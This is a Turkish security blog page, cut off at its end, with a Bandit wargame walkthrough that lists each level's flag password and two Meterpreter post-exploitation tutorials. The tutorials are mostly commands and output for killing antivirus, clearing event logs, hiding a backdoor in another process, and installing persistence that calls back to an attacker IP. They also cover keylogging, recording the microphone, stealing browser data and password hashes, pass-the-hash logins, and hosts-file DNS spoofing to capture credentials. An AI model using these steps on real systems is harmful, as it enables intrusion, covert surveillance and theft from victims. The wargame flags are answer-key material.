Kategoriler
Siber Güvenlik

Bandit WriteUP – Part:1

Bandit WriteUP Part 2’yi de okumak isterseniz: https://caglar-celik.com/siber-guvenlik/bandit-writeup-part2/

Makine adresi: http://overthewire.org/wargames/bandit/

Terminal kullanmaya yönelik olan, bu makinede 34 aşama bulunuyor. Size terminal komutlarını öğretmek ve sinir bozucu hatalarda ne yapacağınızı öğretmek için oluşturulmuş. Biz çözerken oldukça eğlendik. Basit bir SSH bağlantısı ile başlıyoruz. Her bulduğumuz MD5 hashi, diğer SSH bağlantısının parolası oluyor. Takıldığınız yerlerde web sitesinden ip uçlarını okuyabilirsiniz, kullanabileceğiniz komutlara dair ipuçlarına erişebilirsiniz. “bandit0” ile ilk ssh bağlantımızı yaparak durumu kavrayalım.

bandit0

Amaç oyuna giriş yapmak. bandit.labs.overthewire.org adresine bandit0 kullanıcı adı ve bandit0 parolası ile giriş yapacağız. SSH portu 2220.

Çözüm için kullanabileceğiniz komutlar:

ssh

Yardımcı Kaynaklar

Çözüm:

ssh [email protected] -p 2220 komutundan sonra parola için bandit0 yazıyoruz ve makineye bağlanıyoruz. Sonrasında readme içerisindeki MD5 hashi bize bandit1 için giriş anahtarımızı veriyor.

Flag: [vurgu color=”#dd3333″]boJ9jbbUNNfktd78OOpsqOltutMc3MY1[/vurgu]

bandit1

Bir sonraki seviyeye geçmek için kullanacağınız anahtar – isimli dosyada bulunuyor.

Çözüm için kullanabileceğiniz komutlar:

ls, cd, cat, file, du, find

Yardımcı Kaynaklar

Çözüm:

Dosya ismi – (tire) olan bir dosya var. MD5 hashi de içinde. E şahane cat – der hemen dosya içine bakarım. Ama işte gelin görün ki bilgisayarlar o kadar da akıllı makineler değil. Siz tire işaretini kullandığınızda cat komutunun devamına bir parametre girmeniz bekleniyor. E madem öyle, ben de önceki dizine giderim oradan dosyayı okurum dedim. Başarılı da oldu.

Flag: [vurgu color=”#dd3333″]CV1DtqXWVFXTvM2F0k09SHz0YwRINYA9 [/vurgu]

bandit2

Bir sonraki seviyeye geçmek için kullanacağınız anahtar “spaces in this filename” isimli dosyada bulunuyor.

Çözüm için kullanabileceğiniz komutlar:

ls, cd, cat, file, du, find

Yardımcı Kaynaklar

Çözüm:

Bu seferki dosya isminde ise aralarda boşluk bulunuyor. Yani yine cat komutu ile pata küte okuyamıyoruz dosyayı. Onun yerine cat komutundan sonra TAB tuşuna basarak tamamlayabilirsiniz. Diğer yöntem ise her kelimeden sonra aralara ters slash(\) koymak.

Şu şekilde: cat spaces\ in\ this\ filename

 

Flag: [vurgu color=”#dd3333″]UmHadQclWmgdLOKQ3YNgjWxGoRMb5luK[/vurgu]

bandit3

Bir sonraki seviyeye geçmek için kullanacağınız anahtar inhere isimli dizinin içinde bulunuyor.

Çözüm için kullanabileceğiniz komutlar:

ls, cd, cat, file, du, find

Çözüm:

inhere dizininin içinde ls komutu yaptığımızda herhangi bir şey görünmüyor. Ancak ls -la komutu ile dizindeki gizli dosyalara da erişmek mümkün.

Flag: [vurgu color=”#dd3333″]pIwrPrtPN36QITSp3EQaw936yaFoFgAB[/vurgu]

bandit4

Bir sonraki seviyeye geçmek için kullanacağınız anahtar, okunabilir olan tek dosyada yer alıyor.

Çözüm için kullanabileceğiniz komutlar:

ls, cd, cat, file, du, find

Çözüm:

Yine gizli dosya… ls -la komutu ile dosyalara göz atıyorum. -file00 ile başlayan bir liste karşılıyor. Önceki dizine geçip file inhere/-file0* komutunu veriyorum. Bu sayede inhere dizini içinde file0 ismi ile başlayan tüm dosyaların dosya tipini görebiliyorum. E bize de okunabilir bir dosya var demişti soruda. O da görüldüğü üzere -file07. Flag onun içinde. İtiraf edeyim ki biz makineyi çözerken tüm dosyaların içini tek tek okuduk. Sonradan ya burada yüzlerce dosya olsaydı sorusu aklıma geldi ve alternatif olarak bu çözümü buldum.

Flag: [vurgu color=”#dd3333″]koReBOKuIDDepwhWk7jZC0RTdopnAYKh[/vurgu]

bandit5

Bir sonraki seviyeye geçmek için kullanacağınız anahtar inhere dizini içerisinde yer alıyor. Dosya execute edilemez, 1033 byte ve insanlar tarafından okunabilir.

Çözüm için kullanabileceğiniz komutlar:

ls, cd, cat, file, du, find

Çözüm:

Madem dosya boyutu 1033 byte, ben de dosya boyutuna göre arama yapabilirim. find -size 1033c komutu ile anahtara ulaşıyorum.

Flag: [vurgu color=”#dd3333″]DXjZPULLxYr17uwoI01bNLQbtFemEgo7[/vurgu]

bandit6

Bir sonraki seviyeye geçmek için kullanacağınız anahtar sunucuda bir yerde saklanıyor. Kullanıcı bandit7, grup bandit6 olan bir dosya ve boyutu 33 byte.

Çözüm için kullanabileceğiniz komutlar:

ls, cd, cat, file, du, find, grep

Çözüm:

Madem sunucuda her yerde olabilir diyor, ben de kök dizine gider ve işleme orada devam ederim (cd .. komutu). Daha sonra find komutu ile user, grup ve boyuta göre arama yapabilirim.

find -size 33c -user bandit7 -group bandit6

Oldukça karışık bir çıktı geliyor. Ancak erişim iznimiz olan tek bir dosya var. İçini okuduğumda yeni anahtarımı almış oluyorum.

./var/lib/dpkg/info/bandit7.password

Flag: [vurgu color=”#dd3333″]HKBPTKQnIay4Fw76bEy8PVxKEDQRKTzs[/vurgu]

 

bandit7

Bir sonraki seviyeye geçmek için kullanacağınız anahtar data.txt dosyasında millionth kelimesinin yanında yer alır.

Çözüm için kullanabileceğiniz komutlar:

grep, sort, uniq, strings, base64, tr, tar, gzip, bzip2, xxd

Çözüm:

Gayet basit. Madem millionth yanında yer alıyor ben de millionthnin bulunduğu satırı getiririm.

grep -r millionth

Flag: [vurgu color=”#dd3333″]cvX2JJa4CFALtqS87jk27qwqGhBM9plV[/vurgu]

 

bandit8

Bir sonraki seviyeye geçmek için kullanacağınız anahtar data.txt dosyasında saklanır ve kendini sadece bir defa tekrar eder.

Çözüm için kullanabileceğiniz komutlar:

grep, sort, uniq, strings, base64, tr, tar, gzip, bzip2, xxd

Yardımcı Kaynaklar

Çözüm:

Dosyayı okuyup tek tek bakacak olursanız durum facia. Elbette bunun da pratik bir yolu var.

cat data.txt | sort -n | uniq -c

Bu komut ile data.txt dosyasının içindekileri sort komutu ile sıralıyoruz, uniq komutu ile sayıyor ve yanına kaç tane olduğunu yazdırıyoruz. Zaten anahtar olmayan tüm veriler 10 kez tekrarlanmışken esas elemanımız 1 defa tekrarlanmış şekilde karşımıza çıkıyor.

Flag: [vurgu color=”#dd3333″]UsvVyFSfZZWbi6wgC7dAFyFuR6jQQUhR[/vurgu]

bandit9

Bir sonraki seviyeye geçmek için kullanacağınız anahtar data.txt içerisinde okunabilir formatta yer alıyor. “=” işaretinden sonrasına bakmanız yeterli.

Çözüm için kullanabileceğiniz komutlar:

grep, sort, uniq, strings, base64, tr, tar, gzip, bzip2, xxd

Çözüm:

Eşittir işaretinden sonrasını görmek için bir arama atmam yeterli oluyor. Ancak bu defa cat komutu kullanamıyorum. Çünkü binary formatında bir dosya ile karşı karşıyayım. Ben de strings komutu ile binary formatındaki dosyaları okuyabiliyorum.

strings data.txt | grep “=”
Flag: [vurgu color=”#dd3333″]truKLdjsbJ5g7yyJ2X2R0o3a5HQJFuLk[/vurgu]

 

bandit10

Bir sonraki seviyeye geçmek için kullanacağınız anahtar data.txt içerisinde base64 formatında.

Çözüm için kullanabileceğiniz komutlar:

grep, sort, uniq, strings, base64, tr, tar, gzip, bzip2, xxd

Çözüm:

E adam daha ne desin? Base64 demiş, Şu dosyanın içinde demiş.

Flag: [vurgu color=”#dd3333″]IFukwKGsFW8MOq3IRFqrxE1hxTNEbUPR[/vurgu]

 

bandit11

Bir sonraki seviyeye geçmek için kullanacağınız anahtar, tüm küçük harf (az) ve büyük harf (AZ) harflerinin 13 konumlu döndürüldüğü data.txt dosyasında saklanır.

Çözüm için kullanabileceğiniz komutlar:

grep, sort, uniq, strings, base64, tr, tar, gzip, bzip2, xxd

Çözüm:

Hevesimiz kırıldı. Sezar sorulur mu böyle tatlı tatlı terminalle oynarken? Herhangi bir sezar decode aracına gidin ve 13 harf kaydırın. Cevap ortada.

Flag: [vurgu color=”#dd3333″]5Te8Y4drgCRfCx8ugdwuEX8KFC6k2EUu[/vurgu]

 

bandit12

Bir sonraki seviyeye ait anahtar, art arda sıkıştırılmış bir dosyanın hexdump’ı olan data.txt dosyasında saklanır. Bu seviye için, / tmp altında mkdir kullanarak çalışabileceğiniz bir dizin oluşturmak faydalı olabilir. Örneğin: mkdir / tmp / myname123. Sonra cp ile dosyayı kopyalayın ve mv kullanarak yeniden adlandırın.

Çözüm için kullanabileceğiniz komutlar:

grep, sort, uniq, strings, base64, tr, tar, gzip, bzip2, xxd, mkdir, cp, mv, file

Çözüm:

Bizi sinir eden sorulardan. O kadar çok isim değiştirmemiz gerekti ki…

Öncelikle data.txt dosyasını tmp dizininde oluşturduğum zindik dizinine taşıdım. Daha sonrasında bu hexadecimal dosyayı tersine çevirmek için “xxd” isimli aracı kullandım.(Ben başka bir şekilde çevirdim ancak daha sonra araştırdığımda xxd’nin daha kolay olduğunu gördüm.) Daha sonra oluşan dosyanın türüne baktım. Ondan sonrası tam arap saçı. Dosya türüne göre dosya adını değiştirip sıkıştırılmış dosyadan çıkartıyoruz. Sonra tekrar dosya türüne bakıp başa sarıyoruz. Ta ki ASCII dosyasına erişene kadar.

Flag: [vurgu color=”#dd3333″]8ZjyCRiBWFYkneahHwxCv3wb2a1ORpYL[/vurgu]

bandit13

Bir sonraki seviyeye ait anahtar,  / etc / bandit_pass / bandit14 içinde saklanır ve sadece kullanıcı bandit14 tarafından okunabilir. Bu seviye için bir sonraki anahtarı alamazsınız, ancak bir sonraki seviyeye giriş yapmak için kullanılabilecek özel bir SSH anahtarı alırsınız.

Not: localhost , üzerinde çalıştığınız makineyi ifade eden bir ana bilgisayar adıdır.

Çözüm için kullanabileceğiniz komutlar:

ssh, telnet, nc, openssl, s_client, nmap

Çözüm:

Makineye baktığımda bir ssh dosyası görüyorum. İpucundan da yola çıkarak bandit14 için SSH bağlantısı yapıyorum.

Daha sonra bağlandığım makinede, soruda verilen dosyayı okuyorum ve cevaba ulaşıyorum. Hepsi bu.

 

Flag: [vurgu color=”#dd3333″]4wcYUJFw0k0XLShlDzztnTBHiqxU3b3e[/vurgu]

bandit14

Bir sonraki seviyeye ait anahtara erişmek için localhosttaki 30000’e bağlanıp bu bölümün parolasının girilmesi gerekiyor.

Çözüm için kullanabileceğiniz komutlar:

ssh, telnet, nc, openssl, s_client, nmap

Çözüm:

Zaten soruda verileni uygulayınca iş çözülüyor.

Flag: [vurgu color=”#dd3333″]BfMYroe26WYalil77FoDi9qh59eK5xNr[/vurgu]

Kategoriler
Linux Metasploit Siber Güvenlik

Meterpreter ile Post Exploitation 2

Geçen hafta hazırladığım Meterpreter ile post exploitation evresini tek yazıya sığdırmam pek de mümkün değildi. Bu hafta seriye devam edeceğim. Bu yazıda ağırlıklı bulunan aşamalar ise, yetki yükseltme, kalıcılığı sağlama ve kullanıcıya yakalanmama süreçleri olacak. 

Antivirüs ve Firewall Kapatma

Post exploitation aşamasında, antivirüsler durumu fark edip sıkıntı yapabiliyorlar. Bu durumda makineye girmişken kaybetmek olmaz. Antivirüsleri ve firewalları saf dışı bırakmamız gerekiyor.

getcountermeasure

meterpreter > run getcountermeasure -d -k
[*]Running Getcountermeasure on the target...
[*]Checking for countermeasure...
[*]Getting Windows Bilt in Firewall configuration...
...snip...

Firewall ve antivirüsleri devre dışı bırakmak için kullanılan bu scriptte, [vurgu color=”#dd3333″]-d[/vurgu] parametresi firewalları, [vurgu color=”#dd3333″]-k[/vurgu] parametresi ise antivürsleri devre dışı bırakır. Ancak çoğu antivirüs için yeterli bir çözüm olmadığını bilmemiz iyi olacak. Shell komutu ile komut penceresine erişelim. Söz konusu antivirüsün processini bulmamız gerekiyor. ps komutu ile göz atabilirsiniz. Ancak daha pratik bir yolu var.

Tasklist /SVC | find /I “avg” = avg

Bu şekilde anahtar kelime üzerinden processler üzerinde arama yapabiliriz. Daha sonra bulduğumuz processi devre dışı bırakmayı deneyeceğiz.

sc config avgwd start= disabled

taskkill /F /IM “avg*”

Yukarıda önce avgwd processini devre dışı bırakmayı denedik. Çalışmaması halinde sonraki satırda yer alan komutla avg ile başlayan tüm processleri kapatmayı deneyebiliriz. Bunlar da işe yaramazsa bir şansımız daha var: Regedit üzerinde değişiklik yapmak. Öncelikle söz konusu dizindeki kayıtları listeleyelim. Daha sonra AVG_UI gibi, antivirüs ismine göre bir kayıt bulmanız olası.

reg enumkey -k HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run

Bu durumda o kaydı silmek bizim işimizi çok kolaylaştıracaktır. Bu defa deleteval kullanarak -v parametresi ile kayıt ismini veriyoruz ve kaydı kaldırıyoruz. Kayıtlara tekrar baktığınızda muhtemelen kayıt artık orada olmayacaktır. 

reg deleteval -k HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run -v AVG_UI

Yetki Yükseltme İşlemi

Migrate

Sistemdeki diğer processlere, elimizdeki backdoorumuzu yapıştırabiliriz. Bu durumda kullanıcı, görev yöneticisine baktığında, olağan dışı bir durum görmeyecektir. Fakat bizim yapıştığımız sıradan process, çalıştığı müddetçe, biz de sistemde var olacağız demektir. Bu durumda yapışmak için seçtiğimiz process de önemli diyebiliriz. Diğer mesele ise, söz konusu processin yetkisi dahilinde işlem yapma şansımız olacak demektir. Sınırlı yetkilere sahipken, bu yöntemle yetki yükseltme işlemi yapabiliriz. Aksi de mümkün ancak bu çok da mantıklı olmayacaktır 🙂

ps komutu ile porcesslere bakalım. Backdoorumuz da listede bulunacaktır. Daha sonra bulaşmak istediğimiz processi belirleyelim ve onun [vurgu color=”#dd3333″]PID[/vurgu] değerini alalım. Sonrasında ise geriye şu komutu yazmak kalıyor:

meterpreter > migrate <PID>
[*] Migrating from 415 to 680…
Migration completed succesfully.

Local Exploit

Sistemde yetki yükseltme aşamasında local exploitlerden de faydalanabiliriz. Söz konusu exploitleri metasploit üzerinden aramak mümkün. Bundan sonrasında devam edeceğimiz örnek Windows XP,  7 gibi versiyonlarda çalışırken 8 ve 10 üzerinde çalışmıyor. Exploiti seçtikten sonra info diyerek hangi sistemlerde çalışabildiğini görebilirsiniz.

msf exploit(handler) > use ecploit/windwos/local/ppr_flatten_rec

msf exploit(ppr_flatten_rec) > set SESSION 1

Bu ayarlama sonrasında exploiti kullanarak devam ediyoruz. Şayet meterpreter üzerinde ikinci oturumumuz açılırsa exploit başarılı oldu demektir. İkinci oturuma bağlanarak tam erişimle devam edebiliriz. Yalnız local exploitlerle yetki yükseltirken önemli bir detayımız var. [vurgu color=”#dd3333″]getsystem[/vurgu] gibi komutların sonrasında, local exploitler çalıştırıldığında hata ile karşılaşabilirsiniz. Exploit, daha önce yetki yükseltme işlemi yaptığınızı varsayabilir. Şayet ikinci oturum açılmazsa ilk oturumdan devam ederek farklı taktikler denenebilir. 

Backdoor’un kalıcılığını sağlama yöntemleri

Sisteme girdikten sonra genelde en büyük isteğimiz sistemde kalabilmek. Bunun için de bazı yöntemler var. Yetki yükseltme aşamasında bahsettiğimiz migrate kısmını da kalıcılık kısmına dahil edebiliriz. Yaptığımız birçok işlem aslında sistemde tutunabilmek için.

persistence

[vurgu color=”#dd3333″]run persistence -h [/vurgu] komutu ile detaylarını öğrenebileceğiniz bu eklenti, otomatik olarak sistemde kalıcı olmamızı sağlayan işlemleri halleder.

  • -A: Backdoor dinlenmeye alındığında otomatik olarak bağlantı gelmesini sağlar.
  • -L </dizinismi>: Backdoor’un otomatik kayıt edileceği konum seçilir. Default durumda temp klasörü seçilir.
  • -P<payload>: Seçilecek olan payload girilir.
  • -S: Backdoor bir sistem dosyası gibi çalışır. Haliyle sistem yetkisinde çalışılır.
  • -i: Bağlantı isteklerinin kaç saniyede bir gönderileceğini buradan belirleyebilirsiniz.
  • -X: Sistem açıldığında çalışacak başka bir backdoorun kurulmasını sağlar.
  • -p: Bağlantının geleceği portu seçebilirsiniz. Backdoor için oluşturacağınız porttan bahsediyorum.
  • -r: Saldırganın IP adresi yazılır.

meterpreter > run persistence -A -U user -L C:\\windows\\system32 -i 20 -p 4444 -r 192.168.1.98

Diğer komutlar

keylogrecorder

Karşı tarafın bastığı her tuşu kaydedip incelemek mümkün. Farklı özelliklere sahip bu eklentinin diğer özellikleri için keylogrecorder -h komutunu kullanarak bilgi edinebilirsiniz. Aşağıdaki komutta ise önce [vurgu color=”#dd3333″]-t[/vurgu] parametresi ile  saniyelik bir kayıt aldık. Daha sonra ise kaydolduğu dizine giderek sonuçları listeledik.

meterpreter > run keylogrecorder -t  10

meterpreter > cat /root/.msf4/logs/scripts/keylogrecorder/192.168.1.98_20190210.1123.txt

keyscan

Bu araç ise çok daha basit bir tuş kayıt aracı. Start ile başlıyor, dump ile kayıtları ortaya döküyor, stop ile duruyor. Hepsi bu 🙂

meterpreter > keyscan_start

Starting the keystroke sniffer…

meterpreter > keyscan_dump

Dumping captured keystrokes…

meterpreter > keyscan_stop

Stopping the keystroke sniffer…

Browserlardan veri almak

Karşı makinenin browserları üzerinden cookie, geçmiş kayıtları gibi bilgileri çekmek mümkün. Farklı tarayıcılar için farklı komutlar gerekiyor. Kaydolan dosyaları SQLite Database Browser gibi araçlarla inceleyebilirsiniz. 

meterpreter > run post/windows/gather/enum_chrome

meterpreter > run enum/firefox

meterpreter > run post/windows/gather/enum_ie

Psexec pass the hash

Önceki yazıda makinedeki kullanıcıların hash bilgilerini elde etmiştik. Şimdi o kullanıcı hashleri ile sisteme giriş yapmayı deneyelim. Bu hashlerle giriş yapmak için, hashleri kırmaya gerek yok.

[vurgu color=”#dd3333″]exploit/windows/smb/psexec[/vurgu] exploitini kullanarak gerekli parametreleri giriyoruz. [vurgu color=”#dd3333″]SMBUser[/vurgu] kısmına hash üzerinde bulunan ilk kısmı, [vurgu color=”#dd3333″]SMBPass[/vurgu] kısmına ise, hash üzerindeki son ve uzun kısmı alarak giriyoruz. Yalnız kullanıcı adı sonrasında gelen kısa sayılar hariç. Örneğin:

[vurgu color=”#dd3333″]Administrator:500:aad3b435b51404eeaad3basd34:12f2wpcv139mnbpol109zxd09dfhg0[/vurgu]

Burada “Administrator” kısmı SMBUser alanına, “aad3b435b51404eeaad3basd34:12f2wpcv139mnbpol109zxd09dfhg0” kısmı ise SMBPass alanına girilecek. Sonrasında exploiti denediğimizde çalışacaktır. Birkaç sefer denemek gerekebilir. 

Versiyon öğrenme

Makinede yüklü olan yazılımların versiyonlarını öğrenmek için aşağıdaki komut yeterli olacaktır.

meterpreter > run get_application_list

Bazı donanımların kontrolünü sağlama

Siz bir işlem yaptığınız esnada karşı tarafta bir donanımın kullanılmaz olmasını, müdahale edememesini isteyebilirsiniz. Bu durumda aşağıdaki komut yeterli olacaktır

meterpreter > uictl disabled keyboard

meterpreter > uictl disabled mouse

Enable diyerek tekrar aktif hale getirebiliriz. 

DNS spoofing işlemi

DNS Spoofing, ayrı bir yazı konusu olmakla beraber özet geçmek gerekirse kullanıcıyı, bizim belirlediğimiz sayfaya yönlendirmek anlamına gelir. Bu şekilde kendi oluşturduğunuz sahte bir web sitesini, kullanıcının girdiği domain ile değiştirerek giriş bilgilerini elinden alabilirsiniz. Aşağıdaki örnekte, boşluktan  sonra belirtilen domaine girildiğinde, boşluktan önce yazılan IP adresine yönlendirilmesini sağlar. Örneğin test.txt isminde bir dosya oluşturalım ve içine şunu yazalım:

172.252.110.27 google.com

Daha sonra aracımızı nasıl kullanacağız ona bakalım.

meterpreter > run hostsedit -l text.txt

Not defterinden birden fazla web sitesini bu şekilde yönlendirmeye alabilirsiniz. Ancak bir tane yönlendirme yapacaksanız aşağıdaki komut yeterli olacaktır.

meterpreter > run hostsedit -e 172.252.110.27,google.com

CheckVM

Karşı makinenin sanal makine olup olmadığını teyit etmek için kullanılır.

meterpreter > run post/windows/gather/checkvm

Sniffing

Makine üzerindeki network paketlerinin takibini ve incelenmesini sağlar.

meterpreter > sniffer_start
[*]Capture started on interface 1 (50000 packet buffer)
meterpreter > sniffer_dump 1 /tmp/packets.cap

 

Kategoriler
Linux Metasploit Siber Güvenlik

Meterpreter ile Post Exploitation

Metasploit serisinde öğrendikleriniz, herhangi bir zafiyetli makineye girmeniz için yeterli. Ancak makineye girdikten sonra ne yapabileceğinizi de öğrenmeniz gerekiyor. Ki en az söz konusu kullanıcı kadar hareket kabiliyetimiz var. Bu yazıda meterpreter ile karşı makinede yapabileceklerimizden bahsedeceğim. Meterpreter içerisinde birçok script bulunduran bir araç. Bu scriptler, bizim, girdiğimiz sistemde daha hızlı işlem yapmamızı sağlar. Meterpreter, sistem üzerinde çalıştığı için antivirüslere yakalanma ve iz bırakma olasılığı çok düşüktür.

Yazımı Offensive Security’den çevirdim ve büyük oranda ondan faydalanmakla beraber bazı eklemelerde bulundum. Meterpreter’in detaylarını ise farklı bir yazıda hazırlayacağım.

help

meterpreter > help

Core Commands
=============

    Command       Description
    -------       -----------
    ?             Help menu
    background    Backgrounds the current session
    channel       Displays information about active channels
...snip...

Linux üzerindeki daimi kurtarıcımız “help” komutu ile başlayalım. Help komutu ile meterpreter üzerindeki komutların açıklamalarını öğrenebilirsiniz. 

background & sessions

Bir makineye girdiğinizde, o makinenin meterpreter erişimini kaybetmeden çıkarak başka işlem yapmak istiyorsanız background komutunu kullanabilirsiniz. Bu komut size birden fazla makineye bağlanma ve farklı exploitler deneme gibi imkanlar tanır.

Arka plana aldığınız makineleri listelemek için sessions yazmanız yeterli. Bağlanmak istediğiniz makine için ise sessions -i <ID> yazmanız gerek.

meterpreter > background
msf exploit(ms08_067_netapi) > sessions -i 1
[*] Starting interaction with 1...

cat

Bu komutu kullanarak karşı makinedeki txt ve türevi dosyaların içerisini okuyabilirsiniz.Tıpkı Linux üzerinde olduğu gibi…

meterpreter > cat
Usage: cat file

//Example usage:
meterpreter > cat edit.txt
What you talkin' about Willis

cd & pwd

Dizin değiştirmek için cd komutunu, hangi dizinde olduğunuzu görmek için ise pwd komutunu kullanabilirsiniz.

meterpreter > pwd
c:\
meterpreter > cd c:\windows
meterpreter > pwd
c:\windows
meterpreter >

clearev

Sistemde iz bırakmamak için basit bir önlem… Windows sistemlerde uygulama, sistem ve güvenlik günlüklerini temizleyecektir.

Komut öncesinde günlük:

https://www.offensive-security.com/wp-content/uploads/2015/05/Clearev_before.png

meterpreter > clearev
[*] Wiping 97 records from Application...
[*] Wiping 415 records from System...
[*] Wiping 0 records from Security...
meterpreter >
Komut sonrası günlük:
https://www.offensive-security.com/wp-content/uploads/2015/05/Clearev_after.png

Download

Karşı makineden dosya indirmemizi sağlar.

meterpreter > download c:\\boot.ini
[*] downloading: c:\boot.ini -> c:\boot.ini
[*] downloaded : c:\boot.ini -> c:\boot.ini/boot.ini
meterpreter >

Karşı makineden hangi dizine indireceğinizi belirtmek için ise aşağıdaki yöntemi izlemeniz gerekiyor.

meterpreter > download -r metin.txt /root/Desktop

[*] downloading: c:\metin.txt -> /root/Desktop/metin.txt
[*] downloaded : c:\metin.txt -> /root/Desktop/metin.txt

Edit

Metin ve türevi dosyaların üzerinde değişiklik yapmamızı sağlar. Vim aracını kullanır.
meterpreter > edit edit.txt

Execute

Karşı makinede komut çalıştırabilmemizi sağlar. Aşağıdaki örnekte bizim için cmd.exe’yi çalıştıran bir komut var. Sonrasında yazacağımız komutları cmd üzerinden devam ettirebiliriz.

meterpreter > execute -f cmd.exe -i -H
Process 38320 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

Getuid

Hangi yetkilerle erişimde bulunduğumuzu belirtir. Duruma göre yetki yükseltme işlemlerine geçilir. Bunları ayrı bir yazıda anlatacağız.

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >

Hashdump

En tatlı komutlarımızdan birisi 🙂 Sisteme ait kullanıcıların, kullanıcı adları ve hashleri elimizde. Hashleri kırmak için uğraşmanıza gerek yok. Onları kullanarak zaten sistemde o kullanıcı üzerinden giriş yapabiliyor olacağız. Ancak bu da başka bir yazının konusu.

meterpreter > run post/windows/gather/hashdump 

[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 8528c78df7ff55040196a9b670f114b6...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hashes...

Administrator:500:b512c1f3a8c0e7241aa818381e4e751b:1891f4775f676d4d10c09c1225a5c0a3:::
dook:1004:81cbcef8a9af93bbaad3b435b51404ee:231cbdae13ed5abd30ac94ddeb3cf52d:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:9cac9c4683494017a0f5cad22110dbdc:31dcf7f8f9a6b5f69b9fd01502e6261e:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:36547c5a8a3de7d422a026e51097ccc9:::
victim:1003:81cbcea8a9af93bbaad3b435b51404ee:561cbdae13ed5abd30aa94ddeb3cf52d:::
meterpreter >

idletime

Karşı makinede kullanıcının ne zamandır boşta olduğunu belirten komut.

meterpreter > idletime
User has been idle for: 5 hours 26 mins 35 secs
meterpreter >

ipconfig

Windows makinede olduğunuzu varsayarsak ağ arayüzünü görüntüler. Yerel IP adresi, alt ağ maskesi ve varsayılan ağ geçidi gibi bilgileri verir. 

meterpreter > ipconfig

MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address  : 127.0.0.1
Netmask     : 255.0.0.0

AMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport
Hardware MAC: 00:0c:29:10:f5:15
IP Address  : 192.168.1.104
Netmask     : 255.255.0.0

meterpreter >

ls

Siz meterpreter ekranı boyunca karşı makinede işlem yapıyorsunuz. Ancak kendi makinenizdeki dosyaları incelemeniz gerekirse ne yapacaksınız? Bu durumda devreye bu komutlar giriyor. lpwd ile yerel makinenizde hangi dizinde bulunduğunuzu, lcd ile ise yine yerel makinenizde hangi dizine geçmek istediğinizi belirtebilirsiniz.

meterpreter > lpwd
/root

meterpreter > lcd MSFU
meterpreter > lpwd
/root/MSFU

meterpreter > lcd /var/www
meterpreter > lpwd
/var/www
meterpreter >

ls

Linux üzerinde yaptığınız gibi, bulunduğunuz dizindeki dosyaları listelemenizi sağlar.

meterpreter > ls

Listing: C:\Documents and Settings\victim
=========================================

Mode              Size     Type  Last modified                   Name
----              ----     ----  -------------                   ----
40777/rwxrwxrwx   0        dir   Sat Oct 17 07:40:45 -0600 2009  .
40777/rwxrwxrwx   0        dir   Fri Jun 19 13:30:00 -0600 2009  ..
100666/rw-rw-rw-  218      fil   Sat Oct 03 14:45:54 -0600 2009  .recently-used.xbel
40555/r-xr-xr-x   0        dir   Wed Nov 04 19:44:05 -0700 2009  Application Data
...snip...

ps

ps komutu ile karşı makinede çalışan processleri listeleyebilirsiniz.

meterpreter > ps

Process list
============

    PID   Name                  Path
    ---   ----                  ----
    132   VMwareUser.exe        C:\Program Files\VMware\VMware Tools\VMwareUser.exe
    152   VMwareTray.exe        C:\Program Files\VMware\VMware Tools\VMwareTray.exe
    288   snmp.exe              C:\WINDOWS\System32\snmp.exe
...snip...

Record Mic

record_mic komutu ile karşı makinenin mikrofonundan ses kaydı alabilirsiniz. Bu bir görüşmeye de ait olabilir, o anki ortama ait kayıt da olabilir. -d parametresi ile kaç saniye kayıt alacağını belirleyebilirsiniz. Siz belirtmezseniz Ctrl+C komutuna kadar kaydetmeye devam edecektir. -f parametresi ile ise makinenizde nereye kaydedeceğinizi belirtebilirsiniz.

meterpreter > record_mic -d 30 -f root/Desktop/kayit.wav

Resource

Bu komut ile verdiğiniz kaynaktan alınan komutların arka arkaya çalışmasını sağlayabilirsiniz. Metin belgesine yazdığınız her satır bir komut olarak kabul edilecektir. Karşı makinede çalıştıracağınız komutların hızlı ve otomatize bir şekilde gerçekleşmesini sağlayabilirsiniz. Şöyle örnek verelim, aşağıdaki bizim dosyamız olsun:

root@kali:~# cat resource.txt
ls
background
root@kali:~#

Şimdi bu dosyayı resource ile çalıştıralım. 

meterpreter> > resource resource.txt
[*] Reading /root/resource.txt
[*] Running ls

Listing: C:\Documents and Settings\Administrator\Desktop
========================================================

Mode              Size    Type  Last modified              Name
----              ----    ----  -------------              ----
40777/rwxrwxrwx   0       dir   2012-02-29 16:41:29 -0500  .
40777/rwxrwxrwx   0       dir   2012-02-02 12:24:40 -0500  ..
100666/rw-rw-rw-  606     fil   2012-02-15 17:37:48 -0500  IDA Pro Free.lnk
100777/rwxrwxrwx  681984  fil   2012-02-02 15:09:18 -0500  Sc303.exe
100666/rw-rw-rw-  608     fil   2012-02-28 19:18:34 -0500  Shortcut to Ability Server.lnk
100666/rw-rw-rw-  522     fil   2012-02-02 12:33:38 -0500  XAMPP Control Panel.lnk

[*] Running background

[*] Backgrounding session 1...
msf  exploit(handler) >

rm

Bu komut ile karşı makineden dosya silmeniz mümkün. Silinen dosyalar geri dönüşüm kutusuna veya başka yere düşmez. Tamamen kaldırılır.

meterpreter > rm dosyaismi.txt

Screenshot

Bu komut sayesinde ise makineden ekran görüntüsü almak mümkün. screenshot -h parametresi ile detayları öğrenebilirsiniz. Aşağıdaki örnekte -p parametresi, ekran görüntüsünün sizin makinenizde nereye kaydedileceğini, -q parametresi ise görüntü kalitesini belirler. Varsayılan ayar 50’dir.

meterpreter > screenshot -p /root/Desktop/screenshoot.jpeg -q 75
Screenshot saved to: /root/Desktop/screenshoot.jpeg

Search

